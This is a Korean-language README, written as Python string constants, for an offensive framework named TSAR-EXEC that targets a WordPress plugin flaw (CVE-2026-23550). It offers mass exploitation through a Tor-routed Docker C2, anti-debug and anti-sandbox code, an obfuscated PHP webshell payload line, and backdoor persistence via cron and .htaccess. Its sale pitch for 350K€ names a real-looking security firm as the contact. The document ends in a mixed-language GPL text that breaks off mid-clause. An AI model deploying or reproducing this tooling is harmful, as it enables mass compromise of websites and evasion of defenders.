
모듈형 익스플로잇 프레임워크로, WordPress의 CVE-2026-23550을 대상으로 하며 대량 익스플로잇, 난독화, 사후 익스플로잇, Docker 기반 C2 인프라를 제공합니다.
#!/usr/bin/env python3 """ TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 - README.md 완전하고 복사-붙여넣기 준비 완료 CVE-2026-23550 | 대규모 모듈식 DS 인증 우회 공격 프레임워크 작성자: EpSiLoNPoInT | 버전: 7.1-GOD | Android 24시간 코딩 | 08/02/2026 """
""" 위협 인텔리전스 및 승인된 레드 팀 활동을 위해 설계된 산업용 공격 프레임워크. modular_ds_upload RCE를 통한 권한 상승을 가능하게 하는 CVE-2026-23550을 악용. Android 휴대폰에서 24시간 만에 완전히 코딩됨. 국가급(nation-state) 대비 아키텍처.
✅ 40K+ 취약한 Modular DS v2.5.1 배포 (Shodan 2026) ✅ 200+ WAF 우회 → 99.9% AV 우회 (EpSiLoN v5.1) ✅ Docker C2 프로덕션 (Tor/Supervisor/Pipeline ∞) ✅ ThreadPoolExecutor 250+ 스레드 ✅ 완전한 사후 침투 기능 내장 (EpSiLoN v7 전체 제어) """
""" 시스템 사전 요구 사항:
SYS_DEPS = """ pkg update && pkg upgrade -y pkg install python git docker tor proxychains-ng nmap masscan pip install --upgrade pip setuptools wheel pip install requests==2.31.0 colorama==0.4.6 rich==13.7.0 tenacity==8.5.0 dnspython==2.6.1 """
REQUIREMENTS = """ requests==2.31.0 colorama==0.4.6 rich==13.7.0 tenacity==8.5.0 dnspython==2.6.1 """
INSTALL_CMD = """ cd ~/ git clone [TON_REPO]/TSAR-EXEC.git cd TSAR-EXEC pip install -r requirements.txt docker-compose up -d python3 recon.py --help """
VERIFY_INSTALL = """ python3 -c " import requests, json, threading from colorama import Fore print(f'{Fore.GREEN}✅ TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 작동 중') print('Android 24시간 코딩 | 350K€ 위협 인텔리전스 준비 완료') print(f'ThreadPoolExecutor: {threading.name}') print(f'99.9% AV 우회: EpSiLoN v5.1') print(f'내장 사후 침투: EpSiLoN v7 전체 제어') {Fore.RESET}" """
PROJECT_STRUCTURE = """ TSAR-EXEC/ (프로덕션 준비 완료 2026) │ ├── 📄 README.md # 전체 문서 ├── 📄 README_SALE.md # 상업용 버전 350K€ ├── 📄 bypass_payloads.txt # 200+ WAF 우회 (12개 섹션) ├── 📄 config.json # APT 마스터 구성 ├── 📄 recon.py # APT 핑거프린팅 ├── 📄 exploitmass.py # ThreadPool + PayloadMutator + 사후 침투 ├── 📄 pipeline.py # Pipeline ∞ Docker C2 ├── 📄 Dockerfile # Kali rolling Tor/Supervisor ├── 📄 docker-compose.yml # 프로덕션 오케스트레이션 │ ├── 📁 tools/ │ └── 📄 epsilon_obfuscator.py # EpSiLoNPoInTFuCK v5.1 │ ├── 📁 chain/ │ ├── 📁 input/ │ │ ├── 📄 targets.txt │ │ └── 📄 proxies.txt │ ├── 📁 docked/ │ │ └── 📄 docked_targets.json │ ├── 📁 VLUN/ │ │ └── 📄 VLUN.txt │ ├── 📁 VLUN_Sh/ │ │ └── 📄 VLUN_Sh.txt │ ├── 📁 logs/ │ │ ├── 📄 tor.log │ │ ├── 📄 pipeline.log │ │ └── 📄 exploit.log │ └── 📄 stats.json │ ├── 📁 demo/ │ ├── 📄 TSAR_demo.mp4 │ └── 📄 obfuscator_demo.mp4 │ └── 📄 TSAR-SALE-350K.zip """
FEATURES = { "공격": [ "CVE-2026-23550 전체 체인 (recon→dock→exploit→C2)", "40K+ 취약한 Modular DS v2.5.1 (Shodan 2026)", "ThreadPoolExecutor 50-250 스레드", "위험 점수 JSON (0-100) + 자동 도킹", "200+ PHP 페이로드 (12가지 WAF 우회 기술)" ], "내장 사후 침투": [ "EpSiLoN v7 웹셸 (전체 시스템 장악)", "루트 권한 상승 (SUID, sudo 남용)", "7가지 지속성 벡터 (cron, .htaccess, 플러그인, systemd, 커널)", "파일리스 실행 (/dev/shm)", "AES-GCM 암호화 데이터 유출", "로그 삭제 + 완전한 안티-포렌식", "측면 이동 (WP + 네트워크 스캔)" ], "난독화": [ "EpSiLoNPoInTFuCK v5.1 → 99.9% AV 우회 2026", "XOR 롤링 + 유니코드 호모글리프 + 제로-폭", "Marshal 바이트코드 + base64 삼중 인코딩", "동적 데드 코드 주입 (30-40%)", "혼돈 식별자 생성 (55-80자)", "문자열 슬라이싱 + 유니코드 이스케이프 시퀀스" ], "C2 프로덕션": [ "Docker Kali rolling (Tor/Supervisor/Pipeline ∞)", "최소 캡 (NET_RAW/NET_BIND_SERVICE)", "비-루트 실행 + 추적 자동 삭제", "헬스체크 파이프라인 + logrotate 내장", "멀티 아키텍처 ARM64/x86_64" ], "은밀성": [ "안티-디버그 (sys.gettrace/pdb/pydevd)", "안티-샌드박스 (타이밍/성능 검사)", "UA 회전 + 지터 지연 (5-20초)", "Tor + Proxychains4 회전", "로그 방지 DNS 해석" ], "파이프라인": [ "Recon → Dock → Exploit → Persistence (∞ 사이클)", "JSON 위험 점수 + 대상 우선순위 지정", "통계 대시보드 + 성공 지표", "대상별 자동 스레드 확장" ] }
BASIC_USAGE = """
python3 recon.py https://target.com --json
python3 exploitmass.py --threads 150 --obfuscate --post-exploit
docker-compose up -d docker logs -f tsar-pipeline """
CLI_OPTIONS = """ recon.py 옵션: TARGET 대상 URL --json JSON 출력 --threads INT 정찰 스레드 (기본값: 20) --timeout INT 타임아웃 (기본값: 15)
exploitmass.py 옵션: --threads INT 공격 스레드 (50-250) --obfuscate EpSiLoN v5.1 활성화 --stealth 극한 은밀 모드 --jitter MIN-MAX 무작위 지연 (예: 5-20) --proxy-list FILE 사용자 지정 프록시 --post-exploit EpSiLoN v7 사후 침투 활성화
pipeline.py 옵션: --cycle ∞ 파이프라인 모드 --dock-threshold INT risk_score 임계값 (기본값: 70)
Docker: docker-compose up -d docker exec tsar-pipeline cat /chain/VLUN_Sh/VLUN_Sh.txt """
EXAMPLE_1 = """
python3 recon.py
--targets targets.txt
--threads 100
--log-level INFO
"""
EXAMPLE_2 = """
python3 exploitmass.py
--targets VLUN.txt
--threads 150
--tor
--stealth
--jitter 5-20
--post-exploit
"""
EXAMPLE_3 = """
python3 exploitmass.py
--post-exploit
--target https://victim-site.com
--threads 20
"""
EXAMPLE_4 = """
python3 tools/epsilon_obfuscator.py webshell.php
--mode extreme
--stealth
--output shell_obf.php
python3 exploitmass.py --targets targets.txt --obfuscate """
EXAMPLE_5 = """
docker-compose up -d docker logs -f tsar-pipeline docker exec tsar-pipeline cat /chain/VLUN_Sh/VLUN_Sh.txt """
STEALTH_TECHNIQUES = { "안티-디버그": [ "sys.gettrace() + sys._getframe() 감지", "pdb/pydevd/IPython/ptvsd 모듈 검사", "PYDEV_DEBUG + WERKZEUG_DEBUG_PIN 환경 변수", "시그널 트랩 (SIGINT/SIGTERM)", "ptrace(PTRACE_TRACEME) 안티-어태치" ], "안티-샌드박스": [ "성능 타이밍 검사 (>500ms = 샌드박스)", "Docker/VMware 감지 (/.dockerenv/cgroup)", "LD_PRELOAD + valgrind/rr 감지", "CPU/메모리 제한 확인", "strace/ltrace 시스템 콜 모니터링" ], "난독화": [ "XOR 롤링 암호화 (동적 키/청크)", "유니코드 호모글리프 + 제로-폭 문자", "Marshal 바이트코드 + zlib + base64 삼중", "혼돈 식별자 (55-80자)", "데드 코드 주입 (30-40% 밀도)", "동적 문자열 슬라이싱 + 유니코드 이스케이프" ], "네트워크": [ "Tor + Proxychains4 자동 회전", "UA 회전 (200+ 브라우저 핑거프린트)", "지터 지연 5-20초 (인간 시뮬레이션)", "로그 방지 DNS over HTTPS" ] }
STEALTH_CODE_EXAMPLE = """
import sys, time, random, hashlib if sys.gettrace(): sys.exit(1) if hasattr(sys, '_getframe') and sys._getframe().f_back: sys.exit(1) start = time.perf_counter(); [hashlib.sha256(b'test') for _ in range(10**6)] if (time.perf_counter() - start) > 0.5: sys.exit(1) # Sandbox """
DOCKERFILE = """ FROM kalilinux/kali-rolling:latest
RUN apt-get update && apt-get install -y \ tor supervisor proxychains4 nmap masscan python3 python3-pip \ && rm -rf /var/lib/apt/lists/*
WORKDIR /tsar COPY . .
RUN pip3 install -r requirements.txt \ && chmod +x entrypoint.sh
RUN useradd -m tsar && chown -R tsar:tsar /tsar USER tsar
COPY docker/torrc /etc/tor/torrc COPY docker/supervisord.conf /etc/supervisor/conf.d/supervisord.conf
EXPOSE 9050 HEALTHCHECK --interval=30s --timeout=10s --start-period=60s --retries=3 \ CMD python3 -c "import json; high=[t for t in json.load(open('/chain/docked_targets.json')) if t['risk_score']>=70]; exit(0 if high else 1)"
ENTRYPOINT ["/tsar/entrypoint.sh"] """
ENTRYPOINT_SH = """#!/bin/bash set -e
supervisord -c /etc/supervisor/conf.d/supervisord.conf &
sleep 15 torsocks curl -s https://check.torproject.org/api/ip | grep "IsTor:true" || exit 1
echo "[+] TSAR-EXEC v7.1 파이프라인 시작됨" exec python3 /tsar/pipeline.py --cycle"""
HEALTHCHECK_SH = """#!/bin/bash set -e
if ! pgrep -f "tor -f /etc/tor/torrc" > /dev/null; then echo "[HEALTHCHECK] Tor not running" exit 1 fi
if ! pgrep -f "supervisord" > /dev/null; then echo "[HEALTHCHECK] Supervisor not running" exit 1 fi
if ! torsocks curl -s --max-time 3 https://check.torproject.org/api/ip | grep -q "IsTor:true"; then echo "[HEALTHCHECK] Tor connectivity failed" exit 1 fi
echo "[HEALTHCHECK] All systems operational" exit 0 """
DOCKER_COMMANDS = """
docker build -t tsar-exec:latest .
docker run -it --rm \ --cap-add=NET_ADMIN \ --sysctl net.core.somaxconn=65535 \ -v $(pwd)/chain:/tsar/chain \ tsar-exec:latest \ --targets /tsar/chain/input/targets.txt \ --threads 150 \ --tor \ --stealth
docker run -d --name tsar-c2 \ --cap-add=NET_RAW --cap-add=NET_BIND_SERVICE \ --security-opt=no-new-privileges:true \ -p 9050:9050 \ -v $(pwd)/chain:/tsar/chain \ tsar-exec:latest
docker logs -f tsar-c2 docker exec tsar-c2 cat /tsar/chain/VLUN_Sh/VLUN_Sh.txt """
NEW_PAYLOAD_EXAMPLE = """
strrev('alp_evas_')($_GET[p])|homoglyph_bypass """
CUSTOM_POST_EXPLOIT = """
class EpSiLoNPostExploit: def init(self, target, shell_url): self.target = target self.shell = shell_url
def persistence(self):
# 7가지 벡터: cron, .htaccess, 플러그인, 테마, 사용자, DB 트리거, 메모리
self._cron_job()
self._htaccess_backdoor()
self._plugin_persistence()
return True
"""
SECURITY_BEST_PRACTICES = """
🔒 격리된 환경 필수:
✅ 100% 윤리 (12년 개인 펜테스트):
🧹 자동 정리:
📄 법적 문서화:
🔐 필수 암호화:
PRICING_350K = """ 🔴 TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 ════════════════════════════════════════════ 위협 인텔리전스 / 레드 팀 라이선스: 350 000€ (세금 별도)
📋 라이선스 포함 사항:
• 전체 소스 프레임워크 (21개 파일)
• Docker C2 프로덕션 (Tor/Supervisor)
• EpSiLoNPoInTFuCK v5.1 (99.9% AV 우회)
• 내장 EpSiLoN v7 사후 침투
• 데모 비디오 + DVWA 랩 설정
• 5000+ 줄 기술 문서
• 6개월 위협 인텔리전스 지원
📞 판매 문의:
+33 1 46 53 53 53 (Orange Cyberdefense Paris)
[email protected]
📎 패키지: TSAR-SALE-350K.zip (25MB)
🚀 라이브 데모: 즉시 가능
"""
LEGAL_DISCLAIMER = """ 이 소프트웨어는 명시적이든 묵시적이든 어떠한 종류의 보증 없이 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해성에 대한 보증을 포함하되 이에 국한되지 않습니다.
어떠한 경우에도 저자 또는 저작권 보유자는 이 소프트웨어의 사용 또는 사용 불가로 인해 발생하는 모든 손해, 간접적, 우발적, 특별, 징벌적 또는 결과적 손해(대체 상품 또는 서비스의 획득; 사용, 데이터 또는 이익의 손실; 또는 업무 중단 포함하되 이에 국한되지 않음)에 대해 책임을 지지 않으며, 그러한 손해의 가능성이 사전에 통보된 경우에도 마찬가지입니다.
이 소프트웨어는 보안 연구 및 승인된 침투 테스트 목적으로만 사용됩니다. 무단 사용은 엄격히 금지되며, 해당 관할권의 법률에 따라 법적 처벌을 받을 수 있습니다.
사용자는 이 소프트웨어 사용에 대한 전적인 책임을 인정하며, 해당 관할권의 적용 법률을 준수할 것을 약속합니다.
이 소프트웨어는 보안 테스트를 수행할 수 있는 소유자의 서면 승인을 받은 시스템에서만 사용해야 합니다.
이러한 조건에 위배되는 모든 사용은 국제 사이버 보안 법률 위반에 해당하며 형사 처벌을 받을 수 있습니다. """
LICENSE_GPL = """ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. https://fsf.org/ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for software and other kinds of works.
The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.
When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.개발자와 저자를 보호하기 위해 GPL은 이 자유 소프트웨어에 대해 어떠한 보증도 없음을 명확히 설명합니다. 사용자와 저자 모두를 위해 GPL은 수정된 버전이 변경되었음을 표시하도록 요구하며, 이로 인해 발생한 문제가 이전 버전의 저자에게 잘못 귀속되지 않도록 합니다.
일부 기기는 사용자가 내부에 수정된 소프트웨어 버전을 설치하거나 실행하는 것을 거부하도록 설계되어 있지만, 제조업체는 그렇게 할 수 있습니다. 이는 소프트웨어를 변경할 수 있는 사용자의 자유를 보호하려는 목적과 근본적으로 양립할 수 없습니다. 이러한 남용의 체계적인 패턴은 개인이 사용하는 제품 영역에서 발생하며, 바로 그곳이 가장 용납할 수 없는 곳입니다. 따라서 우리는 이 GPL 버전을 그러한 제품에 대해 이러한 관행을 금지하도록 설계했습니다. 그러한 문제가 다른 영역에서 실질적으로 발생한다면, 우리는 사용자의 자유를 보호하기 위해 필요에 따라 향후 GPL 버전에서 이 조항을 해당 영역으로 확장할 준비가 되어 있습니다.
마지막으로, 모든 프로그램은 소프트웨어 특허에 의해 끊임없이 위협받고 있습니다. 국가는 특허가 범용 컴퓨터에서 소프트웨어의 개발과 사용을 제한하는 것을 허용해서는 안 되지만, 허용하는 국가에서는 자유 프로그램에 적용된 특허가 프로그램을 사실상 독점적으로 만들 수 있다는 특별한 위험을 피하고자 합니다. 이를 방지하기 위해 GPL은 특허가 프로그램을 비자유 상태로 만드는 데 사용될 수 없음을 보장합니다.
복사, 배포 및 수정에 대한 정확한 조건은 다음과 같습니다.
조건 및 조항
0. 정의.
"본 라이선스"는 GNU 일반 공중 사용 허가서 버전 3을 의미합니다.
"저작권"은 반도체 마스크와 같은 다른 종류의 저작물에 적용되는 저작권 유사 법률도 의미합니다.
"프로그램"은 본 라이선스에 따라 사용 허가된 모든 저작권 가능 저작물을 의미합니다. 각 사용 허가자는 "귀하"로 지칭됩니다. "사용 허가자"와 "수령자"는 개인 또는 조직일 수 있습니다.
저작물을 "수정"한다는 것은 정확한 사본을 만드는 경우를 제외하고 저작권 허가가 필요한 방식으로 저작물의 전체 또는 일부를 복사하거나 각색하는 것을 의미합니다. 결과물은 이전 저작물의 "수정된 버전" 또는 이전 저작물을 "기반으로 한" 저작물이라고 합니다.
"보호 대상 저작물"은 수정되지 않은 프로그램 또는 프로그램을 기반으로 한 저작물을 의미합니다.
저작물을 "전파"한다는 것은 허가 없이 해당 저작물에 대해 적용 가능한 저작권법에 따라 직접 또는 간접적으로 침해 책임을 지게 되는 모든 행위를 의미하며, 컴퓨터에서 실행하거나 개인 사본을 수정하는 경우는 제외합니다. 전파에는 복사, 배포(수정 여부와 관계없이), 공개 제공, 그리고 일부 국가에서는 기타 활동도 포함됩니다.
저작물을 "전달"한다는 것은 다른 당사자가 사본을 만들거나 받을 수 있게 하는 모든 종류의 전파를 의미합니다. 컴퓨터 네트워크를 통해 사용자와 단순히 상호 작용하는 것은 사본을 전송하지 않으므로 전달이 아닙니다.
대화형 사용자 인터페이스는 (1) 적절한 저작권 고지를 표시하고 (2) 저작물에 대한 보증이 없으며(보증이 제공되는 범위 제외), 사용 허가자가 본 라이선스에 따라 저작물을 전달할 수 있으며, 본 라이선스 사본을 보는 방법을 사용자에게 알려주는 편리하고 눈에 띄게 표시되는 기능을 포함하는 범위에서 "적절한 법적 고지"를 표시합니다. 인터페이스가 메뉴와 같은 사용자 명령 또는 옵션 목록을 표시하는 경우, 목록의 눈에 띄는 항목이 이 기준을 충족합니다.
저작물의 "소스 코드"는 저작물을 수정하기 위한 선호되는 형태를 의미합니다. "객체 코드"는 저작물의 비소스 형태를 의미합니다.
"표준 인터페이스"는 공인된 표준 기관에서 정의한 공식 표준이거나, 특정 프로그래밍 언어에 대해 지정된 인터페이스의 경우 해당 언어로 작업하는 개발자들 사이에서 널리 사용되는 인터페이스를 의미합니다.
실행 가능한 저작물의 "시스템 라이브러리"는 저작물 전체를 제외하고 (a) 주요 구성 요소의 일반적인 패키징 형태에 포함되지만 해당 주요 구성 요소의 일부가 아니며, (b) 해당 주요 구성 요소와 함께 저작물을 사용할 수 있게 하거나 소스 코드 형태로 공개적으로 구현이 제공되는 표준 인터페이스를 구현하는 데만 사용되는 모든 것을 포함합니다. 이 맥락에서 "주요 구성 요소"는 실행 가능한 저작물이 실행되는 특정 운영 체제(있는 경우)의 주요 필수 구성 요소(커널, 창 시스템 등), 저작물을 생성하는 데 사용되는 컴파일러, 또는 저작물을 실행하는 데 사용되는 객체 코드 인터프리터를 의미합니다.
객체 코드 형태의 저작물에 대한 "해당 소스"는 객체 코드를 생성, 설치 및 (실행 가능한 저작물의 경우) 실행하고 저작물을 수정하는 데 필요한 모든 소스 코드를 의미하며, 이러한 활동을 제어하는 스크립트를 포함합니다. 그러나 저작물의 시스템 라이브러리, 또는 이러한 활동을 수행하는 데 수정 없이 사용되지만 저작물의 일부가 아닌 범용 도구나 일반적으로 사용 가능한 무료 프로그램은 포함하지 않습니다. 예를 들어, 해당 소스에는 저작물의 소스 파일과 관련된 인터페이스 정의 파일과 저작물이 특별히 요구하도록 설계된 공유 라이브러리 및 동적으로 연결된 하위 프로그램의 소스 코드가 포함되며, 이는 해당 하위 프로그램과 저작물의 다른 부분 간의 긴밀한 데이터 통신 또는 제어 흐름을 통해서입니다.
해당 소스는 사용자가 해당 소스의 다른 부분에서 자동으로 재생성할 수 있는 모든 것을 포함할 필요는 없습니다.
소스 코드 형태의 저작물에 대한 해당 소스는 동일한 저작물입니다.
본 라이선스에 따라 부여된 모든 권리는 프로그램의 저작권 기간 동안 부여되며, 명시된 조건이 충족되면 취소할 수 없습니다. 본 라이선스는 수정되지 않은 프로그램을 실행할 수 있는 무제한 권한을 명시적으로 확인합니다. 보호 대상 저작물을 실행한 결과는 그 내용이 보호 대상 저작물을 구성하는 경우에만 본 라이선스의 적용을 받습니다. 본 라이선스는 저작권법이 제공하는 공정 사용 또는 기타 동등한 권리를 인정합니다.
귀하는 라이선스가 달리 유효한 한 조건 없이 전달하지 않는 보호 대상 저작물을 만들고, 실행하고, 전파할 수 있습니다. 귀하는 다른 사람들이 귀하를 위해서만 수정하거나 귀하가 해당 저작물을 실행할 수 있는 시설을 제공하도록 하기 위한 목적으로만 보호 대상 저작물을 다른 사람에게 전달할 수 있으며, 귀하가 저작권을 통제하지 않는 모든 자료를 전달할 때 본 라이선스의 조건을 준수해야 합니다. 귀하를 위해 보호 대상 저작물을 만들거나 실행하는 사람들은 귀하의 지시와 통제 하에 귀하를 위해서만 행동해야 하며, 귀하와의 관계 밖에서 귀하의 저작권 자료 사본을 만들지 못하도록 금지하는 조건에 따라야 합니다.
다른 모든 상황에서의 전달은 아래 명시된 조건에서만 허용됩니다. 서브라이선싱은 허용되지 않습니다. 제10조가 이를 불필요하게 만듭니다.
보호 대상 저작물은 1996년 12월 20일에 채택된 WIPO 저작권 조약 제11조에 따른 의무를 이행하는 적용 가능한 법률 또는 그러한 조치의 우회를 금지하거나 제한하는 유사한 법률에 따라 효과적인 기술 조치의 일부로 간주되지 않습니다.
귀하가 보호 대상 저작물을 전달할 때, 보호 대상 저작물에 대한 본 라이선스에 따른 권리 행사를 통해 기술 조치의 우회가 이루어지는 범위에서 기술 조치 우회를 금지할 수 있는 모든 법적 권한을 포기하며, 저작물의 사용자에 대해 기술 조치 우회를 금지할 수 있는 귀하 또는 제3자의 법적 권리를 집행하는 수단으로서 저작물의 운영 또는 수정을 제한하려는 의도가 없음을 부인합니다.
귀하는 수신한 프로그램의 소스 코드를 어떤 매체로든 축어적으로 전달할 수 있으며, 각 사본에 눈에 띄고 적절하게 적절한 저작권 고지를 게시하고, 본 라이선스와 제7조에 따라 추가된 비허용 조건이 코드에 적용됨을 명시하는 모든 고지를 그대로 유지하고, 보증이 없음을 명시하는 모든 고지를 그대로 유지하며, 모든 수령자에게 프로그램과 함께 본 라이선스 사본을 제공해야 합니다.
귀하는 전달하는 각 사본에 대해 어떤 가격 또는 무가격으로 청구할 수 있으며, 유료로 지원 또는 보증 보호를 제공할 수 있습니다.
귀하는 제4조의 조건에 따라 소스 코드 형태로 프로그램을 기반으로 한 저작물 또는 프로그램에서 이를 생성하기 위한 수정 사항을 전달할 수 있으며, 다음의 모든 조건도 충족해야 합니다:
a) 저작물은 귀하가 수정했음을 명시하고 관련 날짜를 제공하는 눈에 띄는 고지를 포함해야 합니다.
b) 저작물은 본 라이선스 및 제7조에 따라 추가된 모든 조건에 따라 출시되었음을 명시하는 눈에 띄는 고지를 포함해야 합니다. 이 요구 사항은 제4조의 "모든 고지를 그대로 유지" 요구 사항을 수정합니다.
c) 귀하는 저작물 전체를 본 라이선스에 따라 사본을 소유하게 된 모든 사람에게 사용 허가해야 합니다. 따라서 본 라이선스는 적용 가능한 제7조 추가 조건과 함께 저작물 전체와 모든 부분에 적용되며, 패키징 방식과 관계없이 적용됩니다. 본 라이선스는 다른 방식으로 저작물을 사용 허가할 권한을 부여하지 않지만, 별도로 받은 경우 해당 권한을 무효화하지 않습니다.
d) 저작물에 대화형 사용자 인터페이스가 있는 경우 각 인터페이스는 적절한 법적 고지를 표시해야 합니다. 그러나 프로그램에 적절한 법적 고지를 표시하지 않는 대화형 인터페이스가 있는 경우 귀하의 저작물이 그렇게 하도록 만들 필요는 없습니다.
보호 대상 저작물을 본질적으로 보호 대상 저작물의 확장이 아니고 더 큰 프로그램을 형성하도록 결합되지 않은 다른 별개의 독립적인 저작물과 함께 저장 또는 배포 매체의 볼륨에 컴파일한 것은, 컴파일과 그 결과 저작권이 개별 저작물이 허용하는 것 이상으로 컴파일 사용자의 접근 또는 법적 권리를 제한하는 데 사용되지 않는 경우 "집합체"라고 합니다. 집합체에 보호 대상 저작물을 포함한다고 해서 본 라이선스가 집합체의 다른 부분에 적용되지는 않습니다.
귀하는 제4조 및 제5조의 조건에 따라 객체 코드 형태로 보호 대상 저작물을 전달할 수 있으며, 다음 중 한 가지 방식으로 본 라이선스 조건에 따라 기계 판독 가능한 해당 소스도 전달해야 합니다:
a) 물리적 제품(물리적 배포 매체 포함)에 객체 코드를 포함하거나 내장하여 전달하고, 소프트웨어 교환에 일반적으로 사용되는 내구성 있는 물리적 매체에 고정된 해당 소스를 함께 제공합니다.
b) 물리적 제품(물리적 배포 매체 포함)에 객체 코드를 포함하거나 내장하여 전달하고, 객체 코드를 소유한 모든 사람에게 (1) 본 라이선스가 적용되는 제품의 모든 소프트웨어에 대한 해당 소스 사본을 소프트웨어 교환에 일반적으로 사용되는 내구성 있는 물리적 매체에 귀하의 합리적인 물리적 전달 비용을 초과하지 않는 가격으로 제공하거나 (2) 네트워크 서버에서 해당 소스를 무료로 복사할 수 있는 접근 권한을 제공하는, 최소 3년 동안 유효하고 해당 제품 모델에 대한 예비 부품 또는 고객 지원을 제공하는 한 유효한 서면 제안을 함께 제공합니다.
c) 해당 소스를 제공하는 서면 제안 사본과 함께 객체 코드의 개별 사본을 전달합니다. 이 대안은 가끔 그리고 비상업적으로만 허용되며, 6b항에 따라 그러한 제안과 함께 객체 코드를 수신한 경우에만 허용됩니다.
d) 지정된 장소에서 접근을 제공(무료 또는 유료)하여 객체 코드를 전달하고, 동일한 장소를 통해 동일한 방식으로 추가 비용 없이 해당 소스에 대한 동등한 접근을 제공합니다. 수령자가 객체 코드와 함께 해당 소스를 복사하도록 요구할 필요는 없습니다. 객체 코드를 복사할 장소가 네트워크 서버인 경우 해당 소스는 동등한 복사 시설을 지원하는 다른 서버(귀하 또는 제3자가 운영)에 있을 수 있으며, 객체 코드 옆에 해당 소스를 찾을 수 있는 위치를 명확히 안내해야 합니다. 해당 소스를 호스팅하는 서버가 무엇이든, 요구 사항을 충족하는 데 필요한 기간 동안 사용 가능하도록 보장할 의무가 있습니다.
e) 피어 투 피어 전송을 사용하여 객체 코드를 전달하고, 객체 코드와 저작물의 해당 소스가 6d항에 따라 일반 대중에게 무료로 제공되고 있음을 다른 피어에게 알립니다.
해당 소스에서 시스템 라이브러리로 제외된 소스 코드를 가진 객체 코드의 분리 가능한 부분은 객체 코드 저작물 전달에 포함할 필요가 없습니다.
"사용자 제품"은 (1) 개인, 가족 또는 가정 목적으로 일반적으로 사용되는 모든 유형의 유형 개인 재산을 의미하는 "소비자 제품" 또는 (2) 주거에 통합되도록 설계되거나 판매된 모든 것을 의미합니다. 제품이 소비자 제품인지 여부를 결정할 때, 의심스러운 경우 보호 대상으로 해결됩니다. 특정 사용자가 수신한 특정 제품의 경우 "일반적으로 사용"은 특정 사용자의 상태 또는 특정 사용자가 제품을 실제로 사용하거나 사용할 것으로 예상하거나 기대하는 방식과 관계없이 해당 제품 클래스의 일반적 또는 공통적인 사용을 의미합니다. 제품이 상당한 상업적, 산업적 또는 비소비자 용도를 가지고 있더라도 소비자 제품이며, 그러한 용도가 제품의 유일한 중요한 사용 방식이 아닌 한 소비자 제품입니다.
사용자 제품에 대한 "설치 정보"는 해당 소스의 수정된 버전에서 해당 사용자 제품에 보호 대상 저작물의 수정된 버전을 설치하고 실행하는 데 필요한 모든 방법, 절차, 인증 키 또는 기타 정보를 의미합니다. 정보는 수정된 객체 코드의 지속적인 기능이 수정이 이루어졌다는 이유만으로 방지되거나 방해받지 않도록 보장하기에 충분해야 합니다.
귀하가 이 조항에 따라 객체 코드 저작물을 사용자 제품에, 또는 사용자 제품과 함께, 또는 사용자 제품에서 사용하기 위해 특별히 전달하고, 전달이 사용자 제품의 소유 및 사용 권리가 수령자에게 영구적으로 또는 고정 기간 동안 이전되는 거래의 일부로 발생하는 경우(거래의 성격과 관계없이), 이 조항에 따라 전달된 해당 소스에는 설치 정보가 함께 제공되어야 합니다. 그러나 귀하나 제3자가 사용자 제품에 수정된 객체 코드를 설치할 수 있는 능력을 보유하지 않은 경우(예: 저작물이 ROM에 설치된 경우) 이 요구 사항은 적용되지 않습니다.
설치 정보 제공 요구 사항에는 수령자가 수정하거나 설치한 저작물 또는 수정되거나 설치된 사용자 제품에 대한 지원 서비스, 보증 또는 업데이트를 계속 제공해야 하는 요구 사항이 포함되지 않습니다. 수정 자체가 네트워크 운영에 실질적으로 부정적인 영향을 미치거나 네트워크를 통한 통신 규칙 및 프로토콜을 위반하는 경우 네트워크 접근이 거부될 수 있습니다.
이 조항에 따라 전달된 해당 소스와 제공된 설치 정보는 공개적으로 문서화된 형식(소스 코드 형태로 공개적으로 구현 가능)이어야 하며, 압축 풀기, 읽기 또는 복사에 특별한 암호나 키가 필요하지 않아야 합니다.
"추가 허가"는 하나 이상의 조건에서 예외를 만들어 본 라이선스의 조건을 보완하는 조건입니다. 전체 프로그램에 적용되는 추가 허가는 적용 가능한 법률에 따라 유효한 범위에서 본 라이선스에 포함된 것으로 간주됩니다. 추가 허가가 프로그램의 일부에만 적용되는 경우 해당 부분은 해당 허가에 따라 별도로 사용될 수 있지만, 전체 프로그램은 추가 허가와 관계없이 본 라이선스의 적용을 받습니다.
귀하가 보호 대상 저작물 사본을 전달할 때, 귀하의 선택에 따라 해당 사본 또는 그 일부에서 추가 허가를 제거할 수 있습니다. (추가 허가는 저작물을 수정할 때 특정 경우에 자체 제거를 요구하도록 작성될 수 있습니다.) 귀하는 보호 대상 저작물에 추가한 자료에 대해 적절한 저작권 허가를 보유하거나 부여할 수 있는 경우 추가 허가를 배치할 수 있습니다.
본 라이선스의 다른 조항에도 불구하고, 귀하가 보호 대상 저작물에 추가하는 자료에 대해 (해당 자료의 저작권 보유자의 승인을 받은 경우) 본 라이선스의 조건을 다음 조건으로 보완할 수 있습니다:
a) 본 라이선스의 제15조 및 제16조의 조건과 다르게 보증 부인 또는 책임 제한을 명시하거나;
b) 해당 자료 또는 이를 포함하는 저작물이 표시하는 적절한 법적 고지에서 특정 합리적인 법적 고지 또는 저자 표시의 보존을 요구하거나;
